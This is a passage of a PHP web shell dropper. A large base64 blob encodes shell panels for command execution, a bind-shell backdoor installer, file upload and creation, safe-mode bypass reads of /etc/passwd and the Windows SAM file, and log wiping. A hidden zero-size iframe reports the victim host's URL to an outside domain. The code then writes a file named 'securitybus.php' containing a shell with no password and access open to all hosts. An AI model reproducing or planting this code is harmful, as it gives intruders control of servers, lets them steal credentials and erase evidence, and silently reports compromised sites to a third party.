OE96TjU4WUJOK2RZN0RTRUdMZ0Z4SmwrQVVNaDMvLy9qREl5c2dEd3cva2d2OE1BQUhFRFBMSDE5ZVBucHpjc216THpkdXZGVDR6S0d1Y09QK000ZmZuWnd5S3JJOFpiRFZFR0JTVU5ZRHFnUnIrL1dkZ0F0TDM3dHhnRUFaNlk5WEtsYWNBQW9nRmxtbitmbnQzWCtidjZlMEw2dHI4UDc1N0I0eUp2d3pjdklJTWJCeWNESCtCbnYwTnpJM0FETUh3NSs4L0JnMWRZd1ltTm1CK1lXWGxBQWdnUkU0R3hzblVlZXYwOSt6YWx2RHN5U09nd1l6Z0RBMnk5VC9EZjNqdUJERkJQQllXTnNiYk44NmZCQWd3QUQzblUxN1cyRjJrQUFBQUFFbEZUa1N1UW1DQyIsDQoiZXh0X3BsIj0+DQoiUjBsR09EbGhGQUFVQUtML0FQLzQvOERBd0g5L0FQLzRBTCsvdndBQUFBQUFBQUFBQUNINUJBRUFBQUVBTEFBQUFBQVVBQlFBUUFNbyIuDQoiR0xyYzNnT0FNWVI0T091ZHJlZWdSbEJXU0oxbHFLNXM2NExqV0YzY1FNanBKcERmNi8vQUJBQTciLA0KImV4dF9zd2YiPT4NCiJSMGxHT0RsaEZBQVVBTVFSQVArY25QOVNVczRBQVArY0FQL09BSVFBQVA5akFNNWpuTTZjWTg2Y25LWE85OGJleHB3QUFQOHhBUC9PIi4NCiJuQUFBQVAvLy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkVBTEFBQUFBQVVBQlFBQUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdBIi4NCiJHQmdhVDJnTVFZZ1ZqVWZTVDNZb0ZHS0JSZ0JxUGpnWURFRnhYUnBER0VJQTR4QVFRTlIxTkhvTUVBQUNBQkZoSXo4ckNuY01BR2dDIi4NCiJOeXNMa0RPVFNDc0pOREphblRVcUxxTTJLYWFucUJFaEFEcz0iLA0KImV4dF90YXIiPT4NCiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXNBTEFBQUFBQVFBQkFBaGdBQUFCbE9BRmdkQUZBQUFJWUNVd0E4WndBOFo5RFk0SklDIi4NCiJXdi8vL3dDSVdCRTJBQUF5VUppY3FJU0hsNENBQVBENC8rRGc4UFg2LzVPWHBMN0gwKy8yL2FHbXNUSXlNdFRjNVAvL3NmTDUvOFhGIi4NCiJIZ0JZcHdCVWxnQlduMUJRQUc4YUlBQlFoUmJmbXdEY2t2K0gxMW5vdUVMbHJpemlwZitWM25QQS80MENVem1tL3dBNFhoVkRBQUdEIi4NCiJVeVdkLzBpdC8xdTEvM056QVA5NTBQOTkwbU81Lzd2MTRZenZ6WExyd29YSS81dlMvN0RrL3dCWG92OXN5dlJqd09oYXRRQ0hWMTdwIi4NCiJ1bzBHVVFCV25QKys4TG01QVArajVRQlVsQUNLV2dBNGJqSlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnQUtDZzRTRlN4WU5FdzRnTWdTT2o0OERGQWNIRVVJWlJFWW9KRFF6UFQ0L0F3Y1FDUWtnIi4NCiJHd2lwcXFrcUF4SWFGUmdYRHdPMXRyY0F1YnE3dkllSkRpd2hCY1BFeEF5VGxTRVpPem81S1RVeE1Dc3ZES09sU1JzY0hEd2VIa01kIi4NCiJIVWNNcjdHekJ1Zm82QXk4N0x1K2lpMGZBZlAwOUF2SUVSOFpOamM0UVNVbVRvZ1lzY0JhQWlWRmtDaFl5QkNJaXdYa1pEMm9SM0ZCIi4NCiJ1NHRMQWdFQU93PT0iLA0KImV4dF90eHQiPT4NCiJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIi4NCiJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3Ii4NCiJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLA0KImV4dF93cmkiPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBSUNBZ01EQXdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2FvIi4NCiJhNFNYVDBjNEJGMHJVaEZBRUFRUUk5ZG1lYlJFVzh5WEM2TngyUUk3THJZYnRwSlpOc3hnelc2bkxkcTQ5aElCQURzPSIsDQoiZXh0X3htbCI9Pg0KIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLg0KImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLg0KIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLg0KIklRQTciDQopOw0KJGltZ2VxdWFscyA9IGFycmF5KA0KICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwNCiAgImV4dF9waHAiPT5hcnJheSgiZXh0X3BocCIsImV4dF9waHAzIiwiZXh0X3BocDQiLCJleHRfcGhwNSIsImV4dF9waHRtbCIsImV4dF9zaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksDQogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0iKSwNCiAgImV4dF9hdmkiPT5hcnJheSgiZXh0X2F2aSIsImV4dF9tb3YiLCJleHRfbXZpIiwiZXh0X21wZyIsImV4dF9tcGVnIiwiZXh0X3dtdiIsImV4dF9ybSIpLA0KICAiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLA0KICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9pbmYiKSwNCiAgImV4dF9kb2MiPT5hcnJheSgiZXh0X2RvYyIsImV4dF9kb3QiKSwNCiAgImV4dF9qcyI9PmFycmF5KCJleHRfanMiLCJleHRfdmJzIiksDQogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIpLA0KICAiZXh0X3dyaSI9PmFycmF5KCJleHRfd3JpIiwiZXh0X3J0ZiIpLA0KICAiZXh0X3N3ZiI9PmFycmF5KCJleHRfc3dmIiwiZXh0X2ZsYSIpLA0KICAiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksDQogICJleHRfaHRhY2Nlc3MiPT5hcnJheSgiZXh0X2h0YWNjZXNzIiwiZXh0X2h0cGFzc3dkIiwiZXh0X2h0IiwiZXh0X2h0YSIsImV4dF9zbyIpDQopOw0KaWYgKCEkZ2V0YWxsKSB7DQogIGhlYWRlcigiQ29udGVudC10eXBlOiBpbWFnZS9naWYiKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsNCiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsNCiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTsNCiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZShfX0ZJTEVfXykpKTsNCiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0NCiAgaWYgKGVtcHR5KCRpbWFnZXNbJGltZ10pKSB7JGltZyA9ICJzbWFsbF91bmsiO30NCiAgaWYgKGluX2FycmF5KCRpbWcsJGV4dF90YXIpKSB7JGltZyA9ICJleHRfdGFyIjt9DQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsNCn0NCmVsc2Ugew0KICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0NCiAgbmF0c29ydCgkaW1hZ2VzKTsNCiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOw0KICBlY2hvICAiPGNlbnRlcj4iOw0KICBmb3JlYWNoICgkayBhcyAkdSkge2VjaG8gJHUuIjo8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fQ0KICBlY2hvICI8L2NlbnRlcj4iOw0KfQ0KZXhpdDsNCn0NCmlmICgkeCA9PSAiYWJvdXQiKSB7DQogIGVjaG8gIk5vIGluZm9ybWF0aW9uIEFib3V0IHRoaXMgc2hlbGwiOw0KfQ0KaWYgKCR4ID09ICJzaGJkIil7DQogICRtc2cgPSAkX1BPU1RbJ2JhY2tjY29ubm1zZyddOw0KICAkZW1zZyA9ICRfUE9TVFsnYmFja2Njb25ubXNnZSddOw0KICBlY2hvKCI8Y2VudGVyPjxiPkJpbmQgU2hlbGwgQmFja2Rvb3I6PC9iPjxicj48YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPg0KDQogIEJpbmQgUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2JhY2tjb25uZWN0cG9ydCcgdmFsdWU9JzU5OTInPg0KICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd1c2UnIHZhbHVlPSdzaGJkJz4NCiAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0luc3RhbGwgQmFja2Rvb3InPjwvZm9ybT4iKTsNCiAgZWNobygiJG1zZyIpOw0KICBlY2hvKCIkZW1zZyIpOw0KICBlY2hvKCI8L2NlbnRlcj4iKTsNCn0NCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCj8+DQo8ZGl2ICBjbGFzcz1iYXJoZWFkZXIyPjxiPi46IENPTU1BTkRTIFBBTkVMIDouPC9iPjwvZGl2Pg0KPHRhYmxlIGNsYXNzPW1haW5wYW5lbD4NCjw/cGhwDQppZiAoISRzYWZlbW9kZSkgew0KPz4NCjx0cj48dGQ+Q29tbWFuZDo8L3RkPg0KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0iY21kIj4NCg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY21kKTsgPz4iPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+IC0gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPlF1aWNrIENvbW1hbmRzOjwvdGQ+DQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJjbWQiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4NCg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+DQogICAgPHNlbGVjdCBuYW1lPSJjbWQiPg0KICAgIDw/cGhwDQogICAgZm9yZWFjaCAoJGNtZGFsaWFzZXMgYXMgJGFscykgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlvbj4iOw0KICAgIH0NCiAgICBmb3JlYWNoICgkY21kYWxpYXNlczIgYXMgJGFscykgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkYWxzWzFdKS4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pLiI8L29wdGlvbj4iOw0KICAgIH0NCiAgICA/Pg0KICAgIDwvc2VsZWN0PiAtDQogICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8P3BocA0KfQ0KPz4NCjx0cj48dGQ+S2VybmVsIEluZm86PC90ZD4NCg0KPHRkPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJodHRwOi8vZ29vZ2xlLmNvbS9zZWFyY2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNsaWVudCIgdmFsdWU9ImZpcmVmb3gtYSI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmxzIiB2YWx1ZT0ib3JnLm1vemlsbGE6ZW4tVVM6b2ZmaWNpYWwiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImhsIiB2YWx1ZT0iZW4iPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImhzIiB2YWx1ZT0iYjdwIj4NCiAgICA8aW5wdXQgbmFtZT0icSIgdHlwZT0idGV4dCIgaWQ9InEiIHNpemU9IjgwIiB2YWx1ZT0iPD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSk7ID8+Ij4gLQ0KICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSJidG5HIiBWQUxVRT0iU2VhcmNoIj4NCiAgICA8L2Zvcm0+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPlVwbG9hZDo8L3RkPg0KDQo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJ1cGxvYWQiPg0KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJtaW5pZm9ybSIgdmFsdWU9IjEiPg0KICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRmaWxlIj4gPGlmcmFtZSB3aWR0aD0nMCcgaGVpZ2h0PScwJyBmcmFtZWJvcmRlcj0wIHNyYz1odHRwOi8vZngwLm5hbWUvc3BlYy9pbmRleC5waHAvcGljLnBuZz9hPWh0dHA6Ly88PyBlY2hvICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgPz48PyBlY2hvICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyA/Pj48L2lmcmFtZT4gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJVcGxvYWQiPiA8P3BocCBlY2hvICR3ZHQ7ID8+DQogICAgPC9mb3JtPg0KPC90ZD48L3RyPg0KPHRyPjx0ZD5TZWFyY2g6PC90ZD4NCjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPg0KDQogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNlYXJjaF9uYW1lIiBzaXplPSIyOSIgdmFsdWU9IiguKikiPiZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2VhcmNoX25hbWVfcmVnZXhwIiB2YWx1ZT0iMSIgIGNoZWNrZWQ+IC0gcmVnZXhwJm5ic3A7DQogICAgPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJTZWFyY2giPg0KICAgIDwvZm9ybT4NCiAgICA8L3RkPjwvdHI+DQo8dHI+PHRkPk1ha2UgRmlsZTo8L3RkPg0KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0ibWtmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+DQogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmlsZSIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiAtIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ3JlYXRlIj4gPD9waHAgZWNobyAkd2R0OyA/Pg0KDQogICAgPC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48dGQ+TWFrZSBEaXI6PC90ZD4NCjx0ZD48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gDQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+IDw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+DQo8L3RkPjwvdHI+DQo8dHI+PHRkPlZpZXcgRmlsZTo8L3RkPg0KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0iZ29maWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+DQogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4gLSA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IlZpZXciPg0KDQogICAgPC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48dGQ+UEhQIFNhZmUtTW9kZSBCeXBhc3MgKFJlYWQgRmlsZSk8L3RkPg0KPHRkPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iIG1ldGhvZD1HRVQ+DQpGaWxlOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImZpbGUiPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IlJlYWQgRmlsZSI+DQplLmcuOiAvZXRjL3Bhc3N3ZCBvciBDOlxXSU5ET1dTXHN5c3RlbTMyXC5TQU0NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX0dFVFsnZmlsZSddKSkgew0KCSR0ZXN0PScnOw0KCSR0ZW1wPXRlbXBuYW0oJHRlc3QsICdjeCcpOw0KCSRmaWxlPSRfR0VUWydmaWxlJ107ICAgIA0KCSRnZXQ9aHRtbHNwZWNpYWxjaGFycygkZmlsZSk7DQoJZWNobyAnVHJ5aW5nIFRvIEdldCBGaWxlIDxmb250IGNvbG9yPSMwMDAwOTk+PGI+Jy4kZ2V0Lic8L2I+PC9mb250Pjxicj4nOw0KCWlmKGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRmaWxlLCAkdGVtcCkpew0KCQkkZmljaGllciA9IGZvcGVuKCR0ZW1wLCAncicpOw0KCQkkYWN0aW9uID0gZnJlYWQoJGZpY2hpZXIsIGZpbGVzaXplKCR0ZW1wKSk7DQoJCWZjbG9zZSgkZmljaGllcik7DQoJCSRzb3VyY2U9aHRtbHNwZWNpYWxjaGFycygkYWN0aW9uKTsNCgkJZWNobyAnPGI+U3RhcnQgJy4kZ2V0Lic8L2I+PGJyPjxmb250IGNvbG9yPXdoaXRlPjxwcmU+Jy4kc291cmNlLic8L3ByZT48L2ZvbnQ+PGJyPjxiPkZpbiA8Zm9udCBjb2xvcj0jMDAwMDk5PicuJGdldC4nPC9mb250PjwvYj4nOw0KCQl1bmxpbmsoJHRlbXApOw0KCX0gZWxzZQ0KCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+PGNlbnRlcj5Tb3JyeS4uLiBGaWxlIDxiPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuJzwvYj4gZG9lc25cJ3QgZXhpc3Qgb3IgeW91IGRvblwndCBoYXZlIGFjY2Vzcy48L2NlbnRlcj48L2ZvbnQ+JzsNCn0NCj8+DQoNCjwvdGQ+PC90cj4NCjx0cj48dGQ+UEhQIFNhZmUtTW9kZSBCeXBhc3MgKERpcmVjdG9yeSBMaXN0aW5nKTwvdGQ+DQo8dGQ+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPUdFVD4NCkRpcjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkaXJlY3RvcnkiPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ikxpc3QgRGlyZWN0b3J5Ij4NCmUuZy46IC9ldGMvIG9yIEM6XA0KPC9mb3JtPg0KPD9waHANCmlmKGlzc2V0KCRfR0VUWydkaXJlY3RvcnknXSkpIHsNCgkkY2hlbWluID0gJF9HRVRbJ2RpcmVjdG9yeSddOw0KCSRmaWxlcyA9IGdsb2IoIiRjaGVtaW4qIik7DQoJZWNobyAnVHJ5aW5nIFRvIExpc3QgRm9sZGVyIDxmb250IGNvbG9yPSMwMDAwOTk+PGI+Jy4kY2hlbWluLic8L2I+PC9mb250Pjxicj48YnI+JzsNCglmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KCQllY2hvICRmaWxlbmFtZS4iXG48YnI+IjsgLy8gYWRkZWQgdGhlIFxuIGZvciBlYXNpZXIgcmVhZGFiaWxpdHkgd2hpbGUgdmlld2luZyB0aGUgaHRtbCBzb3VyY2UNCn0NCj8+DQo8L3RkPjwvdHI+DQo8L3RyPg0KPHRyPjx0ZD5EZWxldGUgTG9nPC90ZD4NCjx0ZD48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4gDQoNCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4gDQo8U0VMRUNUIE5BTUU9ImFjdCI+DQo8T1BUSU9OIFZBTFVFPSJ6YXAyIj5XaXBlIExvZ3MgVXNpbmcgemFwMiAoKm5peCkNCjxPUFRJT04gVkFMVUU9ImNsZWFybG9ncyI+V2lwZSBMb2dzIFVzaW5nIENsZWFyTG9ncyAoV2luZG93cykNCjwvU0VMRUNUPg0KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT4NCjwvdGQ+PC90cj4NCjwvVEFCTEU+DQo8L2JvZHk+PC9odG1sPjw/cGhwIGNoZGlyKCRsYXN0ZGlyKTsgY2Fwcml2OGV4aXQoKTsNCg==';
file_put_contents('securitybus.php', "<?php\r\nerror_reporting(0);\r\n\$sh_name = \"SecurityBus\";\r\n\$sh_mainurl = \"\";\r\n\$html_start = '<html><head>\r\n<title>'.getenv(\"HTTP_HOST\").' - '.\$sh_name.'</title>\r\n<style type=\"text/css\">\r\nbody,table { font-family:verdana;font-size:9px;color:#CCCCCC;background-color:#333333; }\r\ntable { width:100%; border-color:#333333;border-width:0pt 1pt; border-style:solid; }\r\ntd {background-color: #000500; font-family: Courier New; font-size:8pt; color:#999999; border-color:#FFFFFF; border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;}\r\nA:Link, A:Visited { color: #999999;\ttext-decoration: none; }\r\nA.no:Link, A.no:Visited { text-decoration: none; }\r\nA:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #666666; background-color:#333333; text-decoration: none; }\r\ninput,select,option { font:8pt tahoma;color:#666666;margin:2;border:1px solid #666666; }\r\ntextarea { color:#666666;font:verdana bold;border:1px solid ;margin:2; }\r\n.fleft { float:left;text-align:left; }\r\n.fright { float:right;text-align:right; }\r\n#pagebar { font:8pt tahoma;padding:5px; border:3px solid #333333; border-collapse:collapse; }\r\n#pagebar td { vertical-align:top; }\r\n#pagebar p { font:8pt tahoma;}\r\n#pagebar a { font-weight:bold;color:#666666; }\r\n#pagebar a:visited { color:#00CE00; }\r\n#mainmenu { text-align:center; }\r\n#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }\r\n#maininfo,.barheader,.barheader2 { text-align:center; }\r\n#maininfo td { padding:3px; }\r\n.barheader { font-weight:bold;padding:5px; }\r\n.barheader2 { padding:5px;border:2px solid #333333; }\r\n.contents,.explorer { border-collapse:collapse;}\r\n.contents td { vertical-align:top; }\r\n.mainpanel { border-collapse:collapse;padding:5px; }\r\n.barheader,.mainpanel table,td { border:1px solid #333333; }\r\n.mainpanel input,select,option { border:1px solid #333333;margin:0; }\r\ninput[type=\"submit\"] { border:1px solid #333333; }\r\ninput[type=\"text\"] { padding:3px;}\r\n.fxerrmsg { color:red; font-weight:bold; }\r\n#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }\r\n#pagebar,.mainpanel,input[type=\"submit\"] { background-color:black; }\r\n.barheader2,input,select,option,input[type=\"submit\"]:hover { background-color:black; }\r\ntextarea,.mainpanel input,select,option { background-color:#000000; }\r\n// -->\r\n</style>\r\n</head>\r\n';\r\n\$login = \"\"; \r\n\$pass = \"\";\r\n\$md5_pass = \"\";\r\n\$host_allow = array(\"*\"); \r\n\$login_txt = \"\"; \r\n\$accessdeniedmess = \"<META http-equiv=\\\"refresh\\\" content=\\\"0;URL=http://home.disney.go.com/\\\"><body bgcolor=black><a href=\\\"\$sh_mainurl\\\"><font color=lime>die();</font></a>: <font color=red>access denied</font></body>\";\r\n\$gzipencode = FALSE;\r\n\$filestealth = TRUE; \r\n\$curdir = \"./\";\r\n\$tmpdir = \"\"; \r\n\$tmpdir_log = \"./\";\r\n\$log_email = \"\"; //fx0@fx0.name\r\n\$sort_default = \"0a\"; \r\n\$sort_save = TRUE; \r\n\$sess_cookie = \"capriv8vars\"; \r\n\$usefsbuff = TRUE; \r\n\$copy_unset = FALSE; \r\n\$hexdump_lines = 8;\r\n\$hexdump_rows = 24;\r\n\$win = strtolower(substr(PHP_OS,0,3)) == \"win\";\r\n\$disablefunc = 